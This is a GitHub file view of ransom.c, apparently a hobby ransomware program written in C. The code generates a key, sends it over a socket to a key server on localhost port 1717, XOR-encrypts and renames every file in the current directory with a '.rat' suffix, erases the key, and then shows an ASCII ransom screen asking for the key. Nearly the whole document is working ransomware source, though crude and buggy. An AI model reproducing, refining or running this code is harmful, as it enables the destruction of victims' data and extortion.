-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathransom.c
377 lines (314 loc) · 10.4 KB
/
ransom.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <dirent.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#define PORT 1717
#define RANSOM_VERSION 1
#define MAGIC_LEN 1000
#define MAGIC_KEY 2
#define DBG
/*
This funciton encrypt the memory of buffer.
input:
buffer - the pointer to the buffer for encryption.
size - the size of the buffer.
key - key for encryption.
output: null.
*/
void encrypt_mem(char *buffer, size_t size, unsigned long key) {
//loop over all the buffer
for (size_t i = 0; i < size; i++) {
buffer[i] ^= (key >> ((i % 8) * 8)) & 0xFF;
}
}
/*
This funciton decrypt the memory of buffer.
input:
buffer - the pointer to the buffer for encryption.
size - the size of the buffer.
key - key for encryption.
output: null.
*/
void decrypt_mem(char *buffer, size_t size, unsigned long key) {
//loop over all the buffer
for (size_t i = 0; i < size; i++) {
buffer[i] ^= (key >> ((i % 8) * 8)) & 0xFF;
}
}
/*
This function check if the file name isnt "." | ".." | "ransom".
input:
file - the file name.
output: if the name is valid.
*/
int valid_file(const char* file) {
return strcmp(file, ".") && strcmp(file, "..") && strcmp(file, "ransom");
}
/*
This function send the key to the server.
input:
key - the key to send to the server.
output: null.
*/
void send_key(unsigned long key){
int sock = 0;
struct sockaddr_in serv_addr;
// Create socket file descriptor
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket creation failed");
exit(EXIT_FAILURE);
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(PORT);
// Convert IPv4 and IPv6 addresses from text to binary form
if (inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr) <= 0) {
perror("Invalid address/ Address not supported");
exit(EXIT_FAILURE);
}
// Connect to the server
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
perror("Connection Failed");
exit(EXIT_FAILURE);
}
// Convert unsigned long to a byte array
unsigned char buffer[sizeof(unsigned long)];
for (int i = 0; i < sizeof(unsigned long); ++i) {
buffer[i] = (key >> (i * 8)) & 0xFF;
}
// Send the byte array to the server
send(sock, buffer, sizeof(unsigned long), 0);
#ifdef DBG
printf("Sent unsigned long value: %lu\n", key);
#endif
close(sock);
}
/*
This function authorized the key by manipulate it with some actions and return it back.
input:
key - the key to authorized.
output: the key after the authorized.
*/
unsigned long authorized_key(unsigned long key){
char magic = (char)key;
magic &= 0x0F;
key = key << 1;
key += 1;
key = key << 4;
key += magic;
key = key << 1;
return key;
}
/*
This function get key and return if it valid by the key syntax.
input:
key - the key for check.
output: if the key is valid.
*/
int validation_key(unsigned long key){
char magic_1, magic_2;
//Check if the number is even
if(key % 2 != 0){
return 0;
}
//get the 4 bits of the magic 1
key = key >> 1;
magic_1 = (char)key;
magic_1 &= 0x0F;
key = key >> 4;
//check if the validation number is 1
if(key % 2 != 1){
return 0;
}
//get the 4 bits of the magic 2
key = key >> 1;
magic_2 = (char)key;
magic_2 &= 0x0F;
//check if the two magics numbers is equals
if(magic_1 != magic_2) {
return 0;
}
return 1;
}
/*
This functions generate new key.
input: null.
output: the key number.
*/
unsigned long generate_key(void){
unsigned long key;
int i = 0;
srand(time(NULL));
//rand return 2 bytes of random number, then store all the numbers in the key.
for(i = 0; i < sizeof(unsigned long); i += 2){
key += rand();
key << 2;
}
//authorized the key...
key = authorized_key(key);
return key;
}
/*
This function encrypt all the files in the folder.
input:
key - the key for encryption.
dir_name - the path to the dir for encryption.
output: null.
*/
void encrypt_dir(unsigned long key, char* dir_name){
DIR *d;
struct dirent *dir;
d = opendir(dir_name);
//check if the dir is exists.
if (d) {
//loop over all the dir
while ((dir = readdir(d)) != NULL) {
int fd;
unsigned char buffer[1024]; // Buffer to store read data
// Open file in read and write binary mode
struct stat path_stat;
if (stat(dir->d_name, &path_stat) != 0) {
perror("stat");
return;
}
//check if the path is of file or dir.
if (!S_ISDIR(path_stat.st_mode) && valid_file(dir->d_name)) {
fd = open(dir->d_name, O_RDWR);
// Map the file into memory
char *file_contents = mmap(NULL, path_stat.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (file_contents == MAP_FAILED) {
perror("Error mapping file to memory");
close(fd);
return;
}
//encrypt the memory of the file with the key
encrypt_mem(file_contents, path_stat.st_size, key);
//unmap of file content from the memory
if (munmap(file_contents, path_stat.st_size) == -1) {
perror("Error unmapping file from memory");
close(fd);
return;
}
// Close the file
close(fd);
const char* suffix = ".rat";
char new_name[256]; // Assuming maximum file name length is 255 characters
// Copy the old name to the new name buffer
strcpy(new_name, dir->d_name);
// Append the suffix to the new name
strcat(new_name, suffix);
// Unmap the file from memory
rename(dir->d_name, new_name);
}
}
}
}
/*
This function decrypt all the files in the folder.
input:
key - the key for decryption.
dir_name - the path to the dir for decryption.
output: null.
*/
void decrypt_dir(unsigned long key, char* dir_name){
DIR *d;
struct dirent *dir;
d = opendir(dir_name);
//check if the dir is exists.
if (d) {
//loop over all the dir
while ((dir = readdir(d)) != NULL) {
int fd;
unsigned char buffer[1024]; // Buffer to store read data
// Open file in read and write binary mode
struct stat path_stat;
if (stat(dir->d_name, &path_stat) != 0) {
perror("stat");
return;
}
//check if the path is of file or dir.
if (!S_ISDIR(path_stat.st_mode) && valid_file(dir->d_name)) {
fd = open(dir->d_name, O_RDWR);
// Map the file into memory
char *file_contents = mmap(NULL, path_stat.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (file_contents == MAP_FAILED) {
perror("Error mapping file to memory");
close(fd);
return;
}
//decrypt the memory of the file with the key
decrypt_mem(file_contents, path_stat.st_size, key);
//unmap of file content from the memory
if (munmap(file_contents, path_stat.st_size) == -1) {
perror("Error unmapping file from memory");
close(fd);
return;
}
// Close the file
close(fd);
char new_name[256]; // Assuming maximum file name length is 255 characters
// Copy the old name to the new name buffer
strcpy(new_name, dir->d_name);
new_name[strlen(dir->d_name) - 4] = '\0';
// Unmap the file from memory
rename(dir->d_name, new_name);
}
}
}
}
/*
This function start ransom dialog with the user.
input: null.
output: key for decryption.
*/
unsigned long ransom_dialog(void){
unsigned long key;
system("clear");
printf("RRRRRRRRRRRRRRRRR tttt \n");
printf("R::::::::::::::::R ttt:::t \n");
printf("R::::::RRRRRR:::::R t:::::t \n");
printf("RR:::::R R:::::R t:::::t \n");
printf(" R::::R R:::::R aaaaaaaaaaaaa ttttttt:::::ttttttt \n");
printf(" R::::R R:::::R a::::::::::::a t:::::::::::::::::t \n");
printf(" R::::RRRRRR:::::R aaaaaaaaa:::::at:::::::::::::::::t \n");
printf(" R:::::::::::::RR a::::atttttt:::::::tttttt \n");
printf(" R::::RRRRRR:::::R aaaaaaa:::::a t:::::t \n");
printf(" R::::R R:::::R aa::::::::::::a t:::::t \n");
printf(" R::::R R:::::R a::::aaaa::::::a t:::::t \n");
printf(" R::::R R:::::Ra::::a a:::::a t:::::t tttttt\n");
printf("RR:::::R R:::::Ra::::a a:::::a t::::::tttt:::::t\n");
printf("R::::::R R:::::Ra:::::aaaa::::::a tt::::::::::::::t\n");
printf("R::::::R R:::::R a::::::::::aa:::a tt:::::::::::tt\n");
printf("RRRRRRRR RRRRRRR aaaaaaaaaa aaaa ttttttttttt \n\n\n");
//get the key from the user
do {
printf("Key: ");
scanf("%lu", &key);
getchar();
} while (!validation_key(key)); //loop until the user give valid key
return key;
}
int main(void){
//key scope
{
//generate new random key
unsigned long key = generate_key();
//send the key to the server
send_key(key);
//encrypt the curr dir of the ransom
encrypt_dir(key, ".");
//delete the key from the stack
key ^= key;
}
//get the key from the user then decrypt the data
decrypt_dir(ransom_dialog(), ".");
return 0;
}